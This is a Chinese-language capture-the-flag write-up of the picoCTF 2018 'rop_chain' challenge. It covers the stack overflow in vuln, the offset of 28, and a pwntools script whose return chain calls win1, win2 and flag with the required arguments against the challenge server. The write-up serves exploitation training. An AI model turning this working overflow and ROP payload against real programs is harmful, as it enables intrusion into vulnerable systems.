BUUCTF-picoctf_2018_rop_chain

题目简介

BUUCTF上一道构造ROP链的题目,原题链接在这:BUUCTF原题:PicoCTF_2018_rop_chain

漏洞点分析

首先还是拖进IDA反编译查看,发现溢出点在vuln函数:


接下来checksec看一下,看到只开启了NX保护:


考虑ROP,发现IDA的函数表一栏中存在两个win函数和一个flag函数,分别反编译分析源代码,如下图:




可以看到三个函数逻辑都很清晰,win1和win2是两个全局变量(双击可以在bss段看到它们的地址),flag会检查这两个变量以及自己的参数,满足要求即输出flag

所以,漏洞点即为通过溢出,构造ret链,分别调用这3个函数即可

漏洞点利用

首先找偏移,可以直接在IDA里看出来offset=0x18+0x4=28

之后objdump反汇编,看到3个函数的地址,如图:


综上,利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
context(os="linux",arch="x86",log_level="debug")
targetELF="./pwn"
elf=ELF(targetELF)
# ioTube=process(targetELF)
#ioTube=gdb.debug(targetELF,"b *0x4006a4")
ioTube=remote("node5.buuoj.cn",27661)
offset=28
retGadget=0x80483f6
win1Addr=0x80485cb
win2Addr=0x80485d8
flagAddr=0x804862b
win2Argc=-1163220307
flagArgc=-559039827
ioTube.recvuntil("Enter your input> ")
payload=b'a'*offset+p32(win1Addr)+p32(win2Addr)+p32(flagAddr)+p32(win2Argc,sign=True)+p32(flagArgc,sign=True)
ioTube.sendline(payload)
response=ioTube.recv().decode(errors="ignore")
print("flag included in{}\n".format(response))

最后一个要注意的是对负数的打包,在pwn库中p系列函数默认是打包无符号数,因此要设置sign=True


BUUCTF-picoctf_2018_rop_chain
http://0x4a-210.github.io/2025/07/26/pwn刷题记录/ROP/ret2text/BUUCTF-picoctf-2018-rop-chain/
Posted on
July 26, 2025
Licensed under